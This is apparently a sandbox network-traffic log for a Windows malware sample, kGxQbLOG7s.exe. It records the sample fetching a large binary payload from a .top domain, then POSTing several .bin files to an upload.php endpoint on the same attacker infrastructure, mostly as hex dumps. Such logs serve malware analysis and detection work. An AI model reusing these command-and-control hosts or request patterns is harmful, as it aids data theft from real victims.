Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:13:29.441479921 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=STlp5Lj8NycoUDdP1734711207 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 20, 2024 17:13:31.269347906 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 16:13:30 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 20, 2024 17:13:31.269413948 CET	224	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k*}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y26
Dec 20, 2024 17:13:31.270529032 CET	1236	IN	Data Raw: ad 34 aa 23 bf ad 17 e6 2a 10 97 19 92 72 47 53 4c f0 19 5a 9a 9b 85 e6 db f7 f5 55 73 a5 27 d3 b4 54 e4 77 0d e7 83 22 4e c1 4d f8 e4 af 4c 0b ab 1a 54 ad 8d 16 6f af 43 78 89 39 0b bb 8c 4d ba 09 8b e5 dc 59 48 e6 45 66 4b 7d 51 80 62 76 3c 15 Data Ascii: 4#*rGSLZUs'Tw"NMLToCx9MYHEfK}Qbv<2Ul&j6TmZJododF<J%^n?YBWg>{96fr]:,)&2/u\|!\|^X~qV(TkYqK#sgI
Dec 20, 2024 17:13:31.270586967 CET	1236	IN	Data Raw: 7e a3 a2 b8 69 73 67 3f 48 2f 0d a8 bf 56 dc 8d af d6 b2 61 f7 f8 f3 fd 77 21 5f 29 8c ce 3f 9d 2d 90 92 87 6a 25 12 2a ff 4d 26 76 bd 71 86 ba ea 9c 89 13 01 98 9d 0e f3 98 18 94 4f 48 59 58 fa 41 d0 0a 1a c1 86 e0 75 a0 61 ec 3f c9 d1 c5 a8 35 Data Ascii: ~isg?H/Vaw!_)?-j%*M&vqOHYXAua?59l"\rI)R`]Pgg{_''VmA!!ICT0aWJ%rt,@k4M{F>#rM@d[P816\z
Dec 20, 2024 17:13:31.270623922 CET	448	IN	Data Raw: c9 cc c3 19 7b b0 d2 46 b9 b4 20 24 9a d8 ff 55 df 52 db de 94 9a b9 05 e2 22 53 b1 34 6d 3e af e5 be c2 be a5 d9 d2 98 61 ec 6d 1e 76 a9 d9 8b 95 47 da 2e 24 aa aa 52 b9 f9 e5 43 7b 82 ae 34 e5 4d 68 de 13 fb 1f 8f bc 44 8e 32 b7 b3 5f 61 f6 1b Data Ascii: {F $UR"S4m>amvG.$RC{4MhD2_as4-(Y2GG,xyh[`\|hZ:zs;l=7ZGa\|cxgs.4VjHEO!ppU'c_^tu\&ByAOV<S&vFex8on2T7
Dec 20, 2024 17:13:31.270798922 CET	1236	IN	Data Raw: 97 2d 22 f8 24 23 2a a6 8b d6 bf c3 c0 8d 83 b0 9b bd 5b c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 Data Ascii: -"$#*[:Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>
Dec 20, 2024 17:13:31.270852089 CET	1236	IN	Data Raw: c7 2e 72 99 ae 39 a7 3f 8e 79 8c 45 2a b4 37 c7 d2 d2 de 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d Data Ascii: .r9?yE*7UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&AH1q\
Dec 20, 2024 17:13:31.270886898 CET	1236	IN	Data Raw: af 57 a5 1e 15 3b 3b 2b 87 8b 40 7c e4 43 7a 6c 9e 13 a3 da b8 9a 5d 61 a9 62 09 c0 51 e6 22 3e e1 3a 89 1f 05 32 da 0a d0 18 05 ef f5 2b ab 8b 82 70 02 8a 23 5e 23 7c c4 d0 ef 12 ca 88 d8 40 b1 8c 29 8b ef 99 b0 4f 50 ad 80 df 71 e1 cf 48 3d 5f Data Ascii: W;;+@\|Czl]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO*FzV'0+,\|Y@;QcH8O?0W5P:{,&S75U!`EP5DQ>
Dec 20, 2024 17:13:31.270936966 CET	1236	IN	Data Raw: f7 fc 7d c5 32 a8 1f 65 4a 3f 6c c9 6f 0c 34 95 bc 9e 00 0a 8e 6a c2 e7 5f 63 40 06 56 32 1c 51 57 87 f2 07 fc 76 b0 5b d9 9f 56 95 63 6a 40 2c af 46 ae 83 9e 80 02 58 37 03 4e 64 d1 48 e4 24 e2 21 25 e4 a4 b8 85 b6 d2 32 e5 aa 4b 89 ce cd ed 0e Data Ascii: }2eJ?lo4j_c@V2QWv[Vcj@,FX7NdH$!%2KV?zc%(4N2Bw3\|0.h lLjUazA&>'Kr^Qm_tR[WBA5hkdN48\dOo
Dec 20, 2024 17:13:31.271222115 CET	328	IN	Data Raw: 26 c8 b6 a2 c5 22 39 c3 ec 0c 3a 29 07 84 cc af 06 04 14 fd a8 95 4f 88 42 b6 4e 10 49 65 cb 02 5a c0 59 f6 d2 e4 96 2e 90 f7 20 e4 9f ab 01 7a 4d d8 36 88 e3 96 fb 67 a2 a2 b1 28 31 73 7a 85 3a e5 81 c9 5c 80 6b e4 ea 6b 77 10 47 30 73 8e c7 19 Data Ascii: &"9:)OBNIeZY. zM6g(1sz:\kkwG0sCQy~>/r8Wni&*dn623aUK9giUhr!Eaa<,402CJTxBlfRT5wVq
Dec 20, 2024 17:13:31.389555931 CET	1236	IN	Data Raw: f6 f2 de 79 3b ba 42 0d 5b ec 7d 1c 81 0e d0 c3 79 1e df 40 e5 bb 38 80 03 a2 f6 f4 31 f4 cb 70 25 31 63 e0 b3 17 bd 5a 46 a6 76 6c 8f 79 a4 61 13 9a b8 a3 17 d2 0b 69 36 b9 58 0e b8 6c 1c 2a 83 71 41 3f 3b 27 e1 0f 5a 52 ba 64 01 78 df 18 98 ab Data Ascii: y;B[}y@81p%1cZFvlyai6Xl*qA?;'ZRdxJLi7wY[Q#R9.>W:CEXCO}^2}MdQQBF!;l;klpCi#aIf=r/,?:~oOVu=\m/S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49712	147.45.113.159	80	1912	C:\Users\user\Desktop\kGxQbLOG7s.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:13:54.325674057 CET	647	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------9dVA2U1XYNy7ZfGhXP0wEn Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 64 56 41 32 55 31 58 59 4e 79 37 5a 66 47 68 58 50 30 77 45 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 6f 7a 6f 74 61 73 61 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 51 89 c5 49 bc 07 ee e2 2d 7e d5 98 47 e7 26 78 47 52 9e 0b 39 d3 1b 54 45 30 d0 2f ad 6b 2b e7 d3 12 74 28 24 db 3e db 95 05 9c 56 90 f8 8c 4c ec 73 8e 16 c6 dc e0 f6 42 92 96 8b 03 4c 06 2e 94 18 83 a8 03 65 91 85 89 ec 4a b3 15 f5 f8 00 4c 27 92 2e ae 2b 90 05 1a ad ad 7b 96 7a b2 94 2b d8 6b f6 5d f0 f2 35 6b 92 f9 58 72 68 f4 91 35 d5 0a 99 a6 c4 24 81 67 47 73 28 d0 4a cc 91 37 6b 73 de f0 3c b9 68 c5 5d da 2a a1 6e 66 5b 33 79 d1 4c b9 8f 27 f5 e2 cc a7 87 6a 0a 21 bf 6a 83 0c 60 09 2d e6 b9 89 aa ac 70 ae b5 82 [TRUNCATED] Data Ascii: --------------------------9dVA2U1XYNy7ZfGhXP0wEnContent-Disposition: form-data; name="file"; filename="Yozotasas.bin"Content-Type: application/octet-streamQI-~G&xGR9TE0/k+t($>VLsBL.eJL'.+{z+k]5kXrh5$gGs(J7ks<h]nf[3yL'j!j`-p:+nQ;7MTmu$bT2.RP/jiBLawyN7y^--------------------------9dVA2U1XYNy7ZfGhXP0wEn--
Dec 20, 2024 17:13:55.892564058 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 16:13:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734713036 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49713	147.45.113.159	80	1912	C:\Users\user\Desktop\kGxQbLOG7s.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:13:57.317778111 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 90787 Content-Type: multipart/form-data; boundary=------------------------p7YxTBoux5UAnBkBPwEfmu Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 37 59 78 54 42 6f 75 78 35 55 41 6e 42 6b 42 50 77 45 66 6d 75 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 6f 63 61 62 69 68 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c3 5e df 02 1e 57 0f 70 e4 86 be a0 10 a0 89 43 65 e8 7a 17 b6 c8 ab fe 0b 5f 04 22 62 d7 44 3b 34 51 53 e0 bf d1 2e 8b 31 82 79 e2 20 e2 dc e7 42 0c 7e 86 2d d1 c5 88 18 b5 25 5e 2b 39 58 28 a3 32 26 64 71 7d 60 83 e5 bf 16 68 c5 1a 19 87 2f 90 56 55 95 9c c8 ec 2c fd f9 00 4c a2 6f ea 39 67 7a bb d9 04 01 1c b6 e6 ea 7d c5 f8 85 20 f3 b8 ae f4 f0 d2 63 b2 10 96 2e 8d c8 32 fd f7 7d e0 93 4c e3 c2 72 7a 35 81 2c 9e 9c ed 1f c9 0a 49 ed 75 4c c5 e2 b9 af 00 6e d5 d8 47 62 53 3a 4d b3 77 ec 6a c5 73 0f 73 64 b8 cc c9 4b aa 24 [TRUNCATED] Data Ascii: --------------------------p7YxTBoux5UAnBkBPwEfmuContent-Disposition: form-data; name="file"; filename="Jocabih.bin"Content-Type: application/octet-stream^WpCez_"bD;4QS.1y B~-%^+9X(2&dq}`h/VU,Lo9gz} c.2}Lrz5,IuLnGbS:MwjssdK$Y)svvHLf:YV[Cc=$5e7Q,wk}0#sCb_$f(L^3T3w^Z0vqK.reSsd5jN-:l1pw$YW<Nzg6<r&tGp^kzahBUKI$Y67:_W)#HcwoWq0QrnGog&I`}%Bly[B[UC)/JCs"%Jb!M,yMjE6P+{8y<Oae6 :Ps;@"RYE\|)Pxc,}D@q7c "O\|x{YBx%P43uL2hG0SMi\|^0)5'*,3r<8_zU'YJ>tJdkL/5[3m>RU!5\|T_Y9iqTY`dEj_>v: [TRUNCATED]
Dec 20, 2024 17:13:57.439872026 CET	4944	OUT	Data Raw: 95 1c 83 7c b0 ce d8 74 2b a9 74 bd d8 62 2d 58 fa 69 6a 09 c4 82 c7 8c ff 3d 94 8b 72 7c af 91 1c e5 2f dc 34 b5 e6 e0 c4 89 dd 03 02 12 01 9f 4c 4a 3c b3 eb e3 f7 81 54 ae bf 2e c5 5c 2d 04 6f c8 c2 00 f5 19 09 39 55 f2 0d df 4d b8 33 e1 0e 20 Data Ascii: \|t+tb-Xij=r\|/4LJ<T.\-o9UM3 n5Ge^&],LcVE8"l4>ULck7pZ-``T):xBk?tTuY3 `XA(VnqQTfJj@`t
Dec 20, 2024 17:13:57.440186024 CET	4944	OUT	Data Raw: c5 b3 86 a1 7b 39 44 61 44 6c 4e 32 eb d5 7e 38 2f ed 86 22 24 98 0c 17 81 4e d2 56 1b 90 3f 0c ad 11 0a ca 63 0d df 9e 0e 92 03 af bd 56 1b f2 1e f8 08 37 76 cb 6a 86 14 77 04 01 12 14 cd 40 06 7c 0f 39 5d c5 ae e6 18 9a dc 5e 44 5d d2 22 9e 2d Data Ascii: {9DaDlN2~8/"$NV?cV7vjw@\|9]^D]"-e{UA.giVn3Lp:,wO$@:4Gy.wS7_vQZ,U^<&w( \|9 yq*r<Huz1NNPO1f\sK
Dec 20, 2024 17:13:57.440228939 CET	4944	OUT	Data Raw: f8 43 53 5a c6 41 b8 12 40 44 9f b4 72 f2 9a 05 06 03 dd 03 68 40 7d c3 42 ba 65 90 76 24 48 a6 1d d5 a7 94 69 ab 4a e6 52 e7 a6 f9 24 df 2d 44 80 d3 49 3e ad bc 53 53 63 da db fb bb 2d e4 3c 6b 69 9a cf 43 7c 55 ec 85 bb 76 1e 92 93 cf 92 56 96 Data Ascii: CSZA@Drh@}Bev$HiJR$-DI>SSc-<kiC\|UvVW43c5[vM,yvo!NGr-gm5vI6<0yx(z1J;lqT(BhW^-N!Hy>zu]Gs
Dec 20, 2024 17:13:57.440275908 CET	2472	OUT	Data Raw: a5 18 b1 ac ec 13 c5 0b 6b 2f 94 72 6e d3 a4 c8 60 e5 49 4f e5 33 b4 eb 93 5e 31 fa 0e e3 80 82 15 dd 23 0c 1b d3 69 f8 82 18 4f e3 84 eb 2f 2c 8e 69 7c c4 55 8b f3 33 ac 90 31 53 04 f4 cc 7f 39 b6 7b 63 e0 2a f7 11 3d 00 30 34 58 41 3e b7 70 48 Data Ascii: k/rn`IO3^1#iO/,i\|U31S9{c=04XA>pHT]P4m\kad!]L('6L12xjjiHw;#!!sS&rCQ6EI`.~1YX5ISA2oc1k?`a:b.7U
Dec 20, 2024 17:13:57.440285921 CET	2472	OUT	Data Raw: 01 f1 9a e9 6f 85 2d fd 7d 5d 6e 0e e7 d7 12 05 a8 d8 55 84 cd a6 f4 2a 8b 62 59 3d 8a 7b 0a 1d a8 e6 0f 1b da 26 7b 2d 30 f8 22 be 94 c0 07 62 67 43 ed 07 e8 ea ae ea 3c a3 cb 51 19 d0 16 0b 95 98 a8 0b f0 7f a7 3a 9e 0b a9 3f a5 23 53 7a 4f 04 Data Ascii: o-}]nUbY={&{-0"bgC<Q:?#SzOag2\o]\|(TwH6:$M b:K:F} ^6R`[y@W4C2YA3-yf<;ABA$T\|=XU}bc]\|ciO7jIC3
Dec 20, 2024 17:13:57.440396070 CET	4944	OUT	Data Raw: 04 3b 5c f6 18 c5 88 33 f5 0e 27 7b b9 e7 d8 fa 4b bb ee a5 95 09 dd 36 b2 68 67 25 2e d7 5f 3f a3 8a 9e 9e fa 49 fb be 33 9f 33 cb d6 5d 96 c8 d9 65 d5 9a 50 1f 51 86 a7 5b c9 e5 f4 ad de e5 77 c9 9e 90 e4 0c 1e 7e a2 d9 44 19 26 03 e1 47 ef 7c Data Ascii: ;\3'{K6hg%._?I33]ePQ[w~D&G\|#A\|;+@fuk\xuXQlW0`LQ??_7iU`yG0Am"$4Pqm0:Q%V}H}xp-D;"rs;BN\q=
Dec 20, 2024 17:13:57.559715033 CET	2472	OUT	Data Raw: 8b 1d 15 df 92 36 c0 92 ae 68 a3 26 36 9a dc 2d 51 c6 6b f0 e1 36 7e 27 79 85 99 25 66 50 94 37 93 70 94 a4 89 0b 6f 72 30 b6 95 39 3e dd 6c 0c 98 1c 29 e5 5d 8f cd 02 4c 60 be 31 c1 b6 5b c1 c6 f6 03 f5 4c da da 6a a2 ad 0f 70 9a c5 ff 57 2e 8e Data Ascii: 6h&6-Qk6~'y%fP7por09>l)]L`1[LjpW.o MQsm L{enLDPQ5.ST {6AkV5a6)/M];HavD;va13NHMwg#3m0gy&^NzP-l,fQZ
Dec 20, 2024 17:13:57.559746027 CET	7416	OUT	Data Raw: a0 37 77 ac 86 49 08 e1 e9 51 00 ee 63 f0 f2 d9 08 9b 52 e3 7a fe 2c 43 e1 63 08 bd 4f df c8 f3 e4 7d 92 34 e4 25 3b c4 b0 d4 73 e9 27 3e 42 10 d9 df 96 c7 85 5a 79 0d c7 c1 10 f8 64 56 f0 4d 07 b6 a3 b8 11 fd 68 77 11 11 de d3 77 e2 57 68 ed ef Data Ascii: 7wIQcRz,CcO}4%;s'>BZydVMhwwWh\|\|MW+~Mawipk/m/^h\*F1d\A\6$m`}xz[o3+~^Fh g32fFZI,+4)L_hA?n}_V'>
Dec 20, 2024 17:13:57.559791088 CET	2472	OUT	Data Raw: dc 4f dd f5 d0 e3 58 c4 06 47 1d ca 0f 98 a4 30 a2 41 60 fb 4f b1 6d ed 7c f2 f4 c9 b8 f9 9b 0f 37 68 51 3c 1a ab b0 e6 3f 67 1c 05 f2 f1 8a 54 52 55 79 59 42 51 7f 73 69 27 21 ae 64 81 20 46 3c 9f 0d 64 9d f7 ca f5 6b fa 40 a3 48 85 47 58 34 47 Data Ascii: OXG0A`Om\|7hQ<?gTRUyYBQsi'!d F<dk@HGX4GG;-zjK_YrH-UP{#Y\|M3o?2f!lWFA!V\|yA1dme%+ft2?`L_4TxUW:arS9KWQ{RCe6Yjoy
Dec 20, 2024 17:13:57.559948921 CET	2472	OUT	Data Raw: a3 b2 55 21 1e 3a 36 9c da 64 5f fd 06 18 c8 50 bf b8 54 48 b8 cf e8 7e 68 4e 6a d6 3f 6b 26 37 a0 30 53 f3 44 fc 09 40 92 a5 c0 45 59 6f 6b 6d e0 a7 e8 af 70 f7 3b 92 eb 40 3e 05 12 a5 15 69 5c 51 e8 44 60 9a 43 38 b7 4b a3 2b 3c 45 79 e6 de 64 Data Ascii: U!:6d_PTH~hNj?k&70SD@EYokmp;@>i\QD`C8K+<EydxSxk&{!-sqdje.2K$$-t9LBgD1~Tbx,BONL$iQ1RD$xlRJk/xy>DUQ;`*k
Dec 20, 2024 17:13:59.417028904 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 16:13:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 28 X-RateLimit-Reset: 1734713036 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49727	147.45.113.159	80	1912	C:\Users\user\Desktop\kGxQbLOG7s.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:14:05.577719927 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 36971 Content-Type: multipart/form-data; boundary=------------------------EFd88Q5TMUGyXQ2IBDT6nZ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 45 46 64 38 38 51 35 54 4d 55 47 79 58 51 32 49 42 44 54 36 6e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 63 69 76 61 79 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 62 80 b4 92 12 05 60 55 f8 2b 2f 92 3e 0d a5 70 8f 94 1e a0 2a a5 f6 31 68 35 0d 3a 77 eb a5 c1 7b 8b 79 15 0a 8e 38 77 ca 84 88 3a 02 a6 e0 f8 90 5c 95 3b 76 3e 22 16 b1 b0 84 d4 ed 41 d3 b0 85 49 a2 69 cb 47 d0 cb db 8c d5 dc 12 2b df 79 6f 8b bb 26 5b bf a1 eb 47 61 4b 9b 36 5a b7 46 7e 1e 86 2c 6a 30 ba db cd 03 00 72 62 b0 57 29 5d f1 99 43 03 28 b0 a5 4d 1b bd 36 7a 2a 25 8c d5 af b8 d2 65 a4 4c c6 ad 95 c9 39 2e f3 24 ab 23 fa f8 3b cd a2 ac 75 f3 70 ac 29 c7 a4 5a 71 84 5d 71 92 97 0c 9b 16 42 0b 15 e3 8e 3a f1 ac 5c [TRUNCATED] Data Ascii: --------------------------EFd88Q5TMUGyXQ2IBDT6nZContent-Disposition: form-data; name="file"; filename="Gocivay.bin"Content-Type: application/octet-streamb`U+/>p1h5:w{y8w:\;v>"AIiG+yo&[GaK6ZF~,j0rbW)]C(M6z%eL9.$#;up)Zq]qB:\AJ7s<5`'xib&rK\|q}4m}mh4e:eE#;/FmS_*^iE)y@#rj>O:A3ww@ <&+>e~M@y_:tviB#cJg$DjH6ec4l0G2Y>ZpJDvY85C)LVa_r83ZRj<5q.Jxch{&`mb!Cuwz~8#wv!"Rx38B{lp7r#326` Mm3x-S~{f@WX2EiW{z}&X50sn:^+Jhn&QbI4&X46Ib6!k()EsS7Y`\ p%d<&Co#Z1b0\|+Ru_$}VlqhI"4b~\(d\_,ie)3<kXvI={&J.F ~%ss= [TRUNCATED]
Dec 20, 2024 17:14:05.697606087 CET	4944	OUT	Data Raw: 5a 07 35 08 af ef a9 73 32 f3 0b b0 0a 15 41 cf 3b e6 b2 80 62 24 d1 67 87 6a 51 e7 da 61 ca 3b df f5 c7 69 63 56 69 51 bb 18 20 1f 90 b6 ca 83 1a c8 2c b8 42 8e 74 0e b8 2a 73 19 0d f4 c8 0d 4d 5e 21 50 f3 a8 e2 03 b3 be 5a 91 50 d5 39 07 64 50 Data Ascii: Z5s2A;b$gjQa;icViQ ,BtsM^!PZP9dP\|Gn'\veaY!&bbtFQ#eo+@,Snu;J"}'Ox1sQuN.k-v$pLQ*=v_eH`0'AR)8a
Dec 20, 2024 17:14:05.754961014 CET	4944	OUT	Data Raw: 92 1f 01 1e 10 3a 96 c7 27 13 17 3a 0a c1 2b 3c 29 63 40 2c f0 df 64 a3 78 13 96 df bd 3a 3c ca 39 78 28 50 e4 3e 44 04 5b a4 4d 36 c1 71 0a 55 60 d6 ae ce e3 a2 d4 33 a8 c6 03 19 01 b9 a3 56 b4 ca 71 37 80 2b 80 3f 7e f8 9d 04 44 45 95 ea 9c e0 Data Ascii: :':+<)c@,dx:<9x(P>D[M6qU`3Vq7+?~DE%%1nx9WjerMw\|^Ndcd1[wJ-sB"vw-s%79tVy)t-4}aK{, N%~wWu7wIxr91+Q+:os#
Dec 20, 2024 17:14:05.754995108 CET	4944	OUT	Data Raw: 66 9b d8 9b fc 58 6f 23 d1 84 4c 81 33 2e ff 94 53 ec 48 18 ce d2 8a ea 71 bc 68 2a 7b 45 49 d4 15 39 03 9c 63 31 fd 0c 59 45 9f 31 a7 21 3c 16 99 23 c3 ad 06 a3 48 2e 97 98 40 f4 4f ed 7e 33 65 53 ff 57 1e 14 b7 fe b9 76 8c d3 6d cb 61 bd 77 94 Data Ascii: fXo#L3.SHqh*{EI9c1YE1!<#H.@O~3eSWvmawXiT!S^+y9lzJm{>e3qmWU#HmJLAkAcb[1g?VnQH_63V`Dwrr?R7L&/L-)ms;}Gm c{a8
Dec 20, 2024 17:14:05.755012989 CET	2472	OUT	Data Raw: 08 ab 2b 6c 53 fc 92 5e 77 09 79 db f1 d4 b3 b1 1e c6 49 69 d2 10 3f 72 00 9c 08 24 e0 f1 81 d6 95 86 d0 9c 28 b7 49 7d bf c8 44 40 b0 1b 4e 56 6a 02 65 f0 64 b7 9d a7 86 30 60 e4 df 12 b2 b6 38 95 8c 47 1a 57 e0 4f 66 6c a4 9e e0 b8 c6 f5 ea 72 Data Ascii: +lS^wyIi?r$(I}D@NVjed0`8GWOflrdf~:^c-_ nj7Pu;'`(S%nauW)'yUO4KqtS0#47#pLi[_z1
Dec 20, 2024 17:14:05.755084038 CET	2472	OUT	Data Raw: 06 8e 3b 1b 66 9a 3c dd a0 04 9f e1 b2 48 d3 bf f6 d0 51 4e ec 48 c6 31 31 66 21 03 65 55 0e 30 54 a7 db 6f 96 61 9a 37 9d c1 39 bf c6 a2 23 ba 40 d3 e0 28 8a 97 3f 9e c7 24 bc ea 0a 51 87 9f 62 1f f1 f1 db 90 73 4e 90 ad 8b 72 5d 2e 58 d1 ad 2f Data Ascii: ;f<HQNH11f!eU0Toa79#@(?$QbsNr].X//[&Y0vvdC:W2~-JeS2XJd#9A&QjvU+EZox"\`FrjKZNDPrTdwMiYrvF'<H&
Dec 20, 2024 17:14:05.755129099 CET	4944	OUT	Data Raw: 48 3a 3e 00 2e 1c c4 cb 25 6f ed f7 3e 00 f4 00 f3 c3 d4 18 ce a3 90 7c 45 28 2d f7 84 b7 5e 9f 8a 8d 51 3a 23 41 4c 49 08 08 4a 9f f0 bb d2 a0 b8 25 06 d9 1c f2 f2 d9 40 fc 97 ac a0 9a 50 a6 73 80 76 ad 3e 6e af c6 0b f8 33 71 e1 87 18 99 a3 97 Data Ascii: H:>.%o>\|E(-^Q:#ALIJ%@Psv>n3qy"xL>4d_Hyy `\C(y}+z1Unxx?0;rXsZT<9y]:AW]p-`\HT:^7/3 o^?T6MmH(?O8<ihJ
